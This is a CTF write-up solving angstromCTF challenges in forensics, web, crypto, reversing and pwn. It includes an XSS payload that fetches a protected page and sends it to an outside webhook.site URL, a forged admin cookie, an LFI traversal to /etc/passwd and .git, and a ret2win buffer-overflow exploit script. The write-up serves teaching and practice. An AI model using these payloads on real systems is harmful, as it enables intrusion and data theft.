Misc

Confetti

Challenge Description

1
2
3
"From the sky, drop like confetti All eyes on me, so V.I.P All of my dreams, from the sky, drop like confetti" - Little Mix confetti.png

Author: cavocado

We are given a png file to work with

Untitled

I tried running different tools like strings , exiftool , binwalk , zsteg … but nothing seems to give any results. Then I tried checking with pngcheck

Untitled

We notice that we got an error because the picture has additional data after the IEND chunk. Looking with xxd at the IEND chunk everything seems correct so why pngcheck threw that error “additional data after IEND chunk”

Untitled

I decided to dump the whole hex values

Untitled

then I searched for the IEND chunk. And I noticed that we have 3 IEND chunks , that’s weird because a single png image will have only one IEND chunk.

Untitled

If we got 3 IEND chunks that means there is a possibility to have 3 PNG headers (IHDR) which was the case. After every IEND an IHDR chunk starts

Untitled

That means that our image actually has 3 other images inside it so why we don’t extract all of them and look at them one by one. For this I used HxD which is an hexeditor for windows

Untitled

I opened the confetti.png file and started extracting each image from the IHDR to the IEND

Untitled

and then saved them in different file lets say 1.png

Untitled

**I repeated this process until I got this image which contained our flag.

Untitled

Untitled

Flag : actf{confetti_4_u}

amongus

Challenge Description

1
2
3
One of these is not like the others.

Author: JoshDaBosh

We are given an amongus.tar.gz archive to download

Untitled

after extracting it using tar -xvzf amongus.tar.gz we get a folder called out. The folder contained so many .txt files which appears to be the flag if we get the right file.

Untitled

I tried grepping for actf but nothing comes out , I tried looking at the content of some files but it looks like they contain no sense data.

Untitled

Then I did ls -al to see if there is difference in the size of the files , maybe our flag is there somewhere. However, I noticed this file right here which is the only one different and like the description said “One of these is not like the others.”

Untitled

So the name of that file is our flag.

Flag : actf{look1ng_f0r_answers_in_the_p0uring_r4in_b21f9732f829}

Shark 1

Challenge Description

1
2
3
My friend was passing notes during class. Can you find them? here

Author: cavocado

We are given a shark1.pcapng file to download. I opened it in Wireshark and started looking inside the packets.

Untitled

If we follow the 1st TCP packet we can find our flag :D

Untitled

Flag : actf{wireshark_doo_doo_doo_doo_doo_doo}

Shark 2

Challenge Description

1
2
3
My friend hasn't learned.

Author: cavocado

We are given shark2.pcapng file like the previous challenge. I did the same thing by following the TCP packets. I noticed this packet right here.

Untitled

So maybe our flag is in that image they are talking about since there is no other packets to look in.

The next packet had the image in it which is a .jpeg image (from the JFIF header)

Untitled

To extract this image we need to go to show data as **and then choose raw

Untitled

Now we can just save it as a .jpeg file

Untitled

By opening the image we get our flag.

flag.jpeg

Flag : actf{i_see_you}


Web

The Flash

Challenge Description

1
2
3
The new Justice League movies nerfed the Flash, so clam made his own rendition! Can you get the flag before the Flash swaps it out at the speed of light?

Author: aplet123

We are given this website , that when we enter we get this page that has a fake flag on it. But if we look closely we can see there is a real flag but it appears only for a milliseconds.

Untitled

In order to get the real flag we need to set a breakpoint using dev tools in Google Chrome or Firefox. Break on => subtree modifications

Untitled

If we do that we get our flag :)

Untitled

Flag : actf{sp33dy_l1ke_th3_fl4sh}

Auth Skip

Challenge Description

1
2
3
4
5
Clam was doing his angstromCTF flag% speedrun when he ran into the infamous timesink known in the speedrunning community as "auth". Can you pull off the legendary auth skip and get the flag?

Source

Author: aplet123

We are given this web page

Untitled

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require("express");
const path = require("path");
const cookieParser = require("cookie-parser");

const app = express();
const port = Number(process.env.PORT) || 8080;

const flag = process.env.FLAG || "actf{placeholder_flag}";

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

app.post("/login", (req, res) => {
if (
req.body.username !== "admin" ||
req.body.password !== Math.random().toString()
) {
res.status(401).type("text/plain").send("incorrect login");
} else {
res.cookie("user", "admin");
res.redirect("/");
}
});

app.get("/", (req, res) => {
if (req.cookies.user === "admin") {
res.type("text/plain").send(flag);
} else {
res.sendFile(path.join(__dirname, "index.html"));
}
});

app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});

For this challenge we just need to se our user cookie to be equal to admin

Cookie: user=admin

Untitled

If we send the request we get our flag.

Flag : actf{passwordless_authentication_is_the_new_hip_thing}

crumbs

Challenge Description

1
2
3
4
5
Follow the crumbs.

Server: index.js

Author: JoshDaBosh

We are given the following web page

Untitled

Index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
const express = require("express");
const crypto = require("crypto");

const app = express();
const port = Number(process.env.PORT) || 8080;

const flag = process.env.FLAG || "actf{placeholder_flag}";

const paths = {};
let curr = crypto.randomUUID();
let first = curr;

for (let i = 0; i < 1000; ++i) {
paths[curr] = crypto.randomUUID();
curr = paths[curr];
}

paths[curr] = "flag";

app.use(express.urlencoded({ extended: false }));

app.get("/:slug", (req, res) => {
if (paths[req.params.slug] === "flag") {
res.status(200).type("text/plain").send(flag);
} else if (paths[req.params.slug]) {
res.status(200)
.type("text/plain")
.send(`Go to ${paths[req.params.slug]}`);
} else {
res.status(200).type("text/plain").send("Broke the trail of crumbs...");
}
});

app.get("/", (req, res) => {
res.status(200).type("text/plain").send(`Go to ${first}`);
});

app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});

We just need to loop 1000 times and everytime append the random UUID given to the URL https://crumbs.web.actf.co/{UUID_HERE}

To do this I wrote the following script.

1
2
3
4
5
6
7
8
import requests

val=''
for i in range(1000):
url = 'https://crumbs.web.actf.co/{}'.format(val)
flag = requests.get(url)
val = flag.text[6:]
print(flag.text)

After running the exploit we get back our flag

Untitled

Flag : actf{w4ke_up_to_th3_m0on_6bdc10d7c6d5}

Xtra Salty Sardines

Challenge Description

1
2
3
Clam was intensely brainstorming new challenge ideas, when his stomach growled! He opened his favorite tin of salty sardines, took a bite out of them, and then got a revolutionary new challenge idea. What if he wrote a site with an extremely suggestive acronym?

Source, Admin Bot

As the title says , this is an XSS challenge

Untitled

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
const express = require("express");
const path = require("path");
const fs = require("fs");
const cookieParser = require("cookie-parser");

const app = express();
const port = Number(process.env.PORT) || 8080;
const sardines = {};

const alpha = "abcdefghijklmnopqrstuvwxyz";

const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";

function genId() {
let ret = "";
for (let i = 0; i < 10; i++) {
ret += alpha[Math.floor(Math.random() * alpha.length)];
}
return ret;
}

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

// the admin bot will be able to access this
app.get("/flag", (req, res) => {
if (req.cookies.secret === secret) {
res.send(flag);
} else {
res.send("you can't view this >:(");
}
});

app.post("/mksardine", (req, res) => {
if (!req.body.name) {
res.status(400).type("text/plain").send("please include a name");
return;
}
// no pesky chars allowed
const name = req.body.name
.replace("&", "&amp;")
.replace('"', "&quot;")
.replace("'", "&apos;")
.replace("<", "&lt;")
.replace(">", "&gt;");
if (name.length === 0 || name.length > 2048) {
res.status(400)
.type("text/plain")
.send("sardine name must be 1-2048 chars");
return;
}
const id = genId();
sardines[id] = name;
res.redirect("/sardines/" + id);
});

app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});

app.get("/sardines/:sardine", (req, res) => {
const name = sardines[req.params.sardine];
if (!name) {
res.status(404).type("text/plain").send("sardine not found :(");
return;
}
const sardine = fs
.readFileSync(path.join(__dirname, "sardine.html"), "utf8")
.replaceAll("$NAME", name.replaceAll("$", "$$$$"));
res.type("text/html").send(sardine);
});

app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});

The most important thing for us is this part :

1
2
3
4
5
6
const name = req.body.name
.replace("&", "&amp;")
.replace('"', "&quot;")
.replace("'", "&apos;")
.replace("<", "&lt;")
.replace(">", "&gt;")

This replace() method will replace every "'<> with a another string.

Payload

1
<>""''<script>fetch('/flag').then(r=>{r.text().then(t=>{fetch('https://webhook.site/8e8a33bd-5b89-4ae7-8d37-72ebbd7a2844/?leak='+btoa(t),{'mode':'no-cors'})})})</script>

If we send this over

Untitled

We get this message

Untitled

But if we take a look at our [webhook.site](http://webhook.site) we can see the following message in base64 saying you can't view this

Untitled

Now if we send the link we got to the admin bot

Untitled

Untitled

We can see another GET request made to our webhook site which contains a base64 encoded string.

Untitled

And there is our flag

Untitled

Flag : actf{those_sardines_are_yummy_yummy_in_my_tummy}

Challenge Description

1
2
3
bosh left his image gallery service running.... quick, git all of his secrets before he deletes them!!! source

Author: preterite

We are given the following web page

Untitled

If we click submit the following GET request will be made using the ?member parameter

Untitled

I tried changing the member=aplet.jpg with the member=../../etc/passwd and as you can see we are working with a LFI vulnerability.

Untitled

The description mentioned “git all of his secrets..” and notice the word git, so this is something to do with the .git folder.

I tried https://art-gallery.web.actf.co/gallery?member=../.git/config and indeed we can download the config file.

Untitled

So now all we need to do is to dump all of the .git folder and to do so I used this awesome tool called git-dumper which you can find here https://github.com/arthaud/git-dumper

1
git-dumper https://art-gallery.web.actf.co/gallery?member=../.git output

Untitled

This will dump all the files related to the .git folder and put them inside a folder called output

Untitled

After getting all the files I just ran git log --patch and we got our flag

Untitled

There are other ways to find the flag , for example running git log

Untitled

then git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7

Untitled

now if we do ls we can see a file called flag.txt

Untitled

which contains our flag :D

Untitled

Flag : actf{lfi_me_alone_and_git_out_341n4kaf5u59v}


Crypto

Caesar and Desister

Challenge Description

1
After making dumb jokes about cryptography to all his classmates, clam got a cease and desist filed against him! When questioned in court, his only comment was "clam's confounding Caesar cipher creates confusing cryptographic challenges." Needless to say, the judge wasn't very happy. Clam was sentenced to 5 years of making dumb Caesar cipher challenges. Here's one of them: sulx{klgh_jayzl_lzwjw_ujqhlgyjshzwj_kume}

It was Caesar Cipher

Untitled

Flag : actf{stop_right_there_cryptographer_scum}

Randomly Sampled Algorithm

Challenge Description

1
2
3
RSA strikes strikes strikes again again again! Source

Author: lamchcl

This is a simple RSA challenge

We are given two files

rsa.py

Untitled

output.txt

Untitled

I wrote this simple script to solve the challenge

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *

n = 133075794736862400686388110598570266808714052683651232655122797445099216964925703530068957607358890220696254013415564497625510160656547477386290353341301388957868030883484367150794172590602260618953020322190415128204088685449855108061423638905602604314199002557585876080719068735072138975699738144061697925373
e = 65537
c = 42999486939739078417543300759928045769347425010481921402117654240134870338470114310074441997014418414023223148236139895795053257877203574091454937566637813901960299427919263842462481370908334316720948794826158725807235252653149450622143783560995967869958852519888842457531188064386890082072803961804464549309

phi = 133075794736862400686388110598570266808714052683651232655122797445099216964925703530068957607358890220696254013415564497625510160656547477386290353341301365877872031151018140890962539358215097403168452396402116271802269636497626498820406125901329433708704273662567430256232652048920492894069126553095462130720
d= pow (e , -1 , phi)
flag = pow (c,d,n)
print (long_to_bytes(flag))

Output

Untitled

Flag : actf{just_kidding_this_algorithm_wasnt_actually_randomly_sampled}


Reversing

baby3

Challenge Description

1
2
3
This program doesn't do anything.

Author: preterite

We are given this binary

Untitled

I opened it in IDA and this is our main function

Untitled

I decompiled it but nothing useful to look for

Untitled

I went back and decoded the hex values I found earlier and they look like they are parts of the flag but they were written in reverse.

Untitled

I extracted the values ,reversed the string and we got our flag

Untitled

Flag : actf{emhpaidmezerodollarstomakethischallenge_amogus}

Number Game

Challenge Description

1
2
3
4
5
Step right up and enter clam's number game! Winners get one (1) free flag!!!

Connect to it at nc challs.actf.co 31334.

Author: aplet123

We are given a binary to download.

Untitled

The program will ask us for a first number , if we enter a wrong one it will exit the program

Untitled

As usual I opened it in IDA and started looking around. A you can see we have a main function and a print_flag function

Untitled

This is the main function

Untitled

and this is the print_flag function

Untitled

In the main function we can find all the comparisons that are been done

Untitled

If we enter the same number as the one that is being compared with in the first check we will bypass it and so on.

Untitled

If we enter all of the correct answers we will get our flag. I made a fake flag to test it locally

Untitled

but if we do it in the remote server we get the real flag.

Untitled

Flag : actf{it_turns_out_you_dont_need_source_huh}


pwn

wah

Challenge Description

1
2
3
4
5
6
7
Baby friendly!

wah wah.c

nc challs.actf.co 31224

Author: JoshDaBosh

We are given a binary and a source code to download.

Untitled

Untitled

wah.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>

void flag(){
char flag[128];

FILE *file = fopen("flag.txt","r");
if (!file) {
puts("Error: missing flag.txt.");
exit(1);
}

fgets(flag, 128, file);
puts(flag);
}

int main(){
setbuf(stdout, NULL);
gid_t gid = getegid();
setresgid(gid, gid, gid);

char cry[24];

printf("Cry: ");

gets(cry);
return 0;
}

This a simple ret2win challenge , all we have to do is get the offset and the flag function address. I used gdb-pwndbg to do this

Untitled

Our offset is the first 4 bytes of RSP

Untitled

which is 40

Untitled

Now we need to grab the flag function address. We can do that with the info functions command in gdb-pwndbg.

Untitled

flag function address : 0x0000000000401236

After getting all the pieces needed , we just have to put together our exploit.

exploit.py

1
2
3
4
5
6
from pwn import *

payload = b'A' * 40 + p64(0x0000000000401236)
r = remote('challs.actf.co',31224)
r.sendline(payload)
r.interactive()

Untitled

Or simply we can send our payload using one line

1
python2 -c 'print "A" * 40 + "\x36\x12\x40\x00\x00\x00\x00\x00"' | nc challs.actf.co 31224

Untitled

Flag : actf{lo0k_both_w4ys_before_y0u_cros5_my_m1nd_c9a2c82aba6e}

whatsmyname

Challenge Description

1
2
3
4
5
6
7
Can you guess my name?

nc challs.actf.co 31223

whatsmyname whatsmyname.c

Author: JoshDaBosh

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

for i in range(1000):
#io = process("./whatsmyname")
io=remote("challs.actf.co",31223)
io.recvuntil(b"name? ")
io.sendline(b"ahmed")
io.recvuntil(b"flag!")
io.sendline(b"\x00")
io.recvline()
response = io.recv()
print(response)
if(not b'Bye!' in response):
print(response)
io.close()

Flag : actf{i_c0uld_be_l0nely_with_y0u_a21f8611c74b}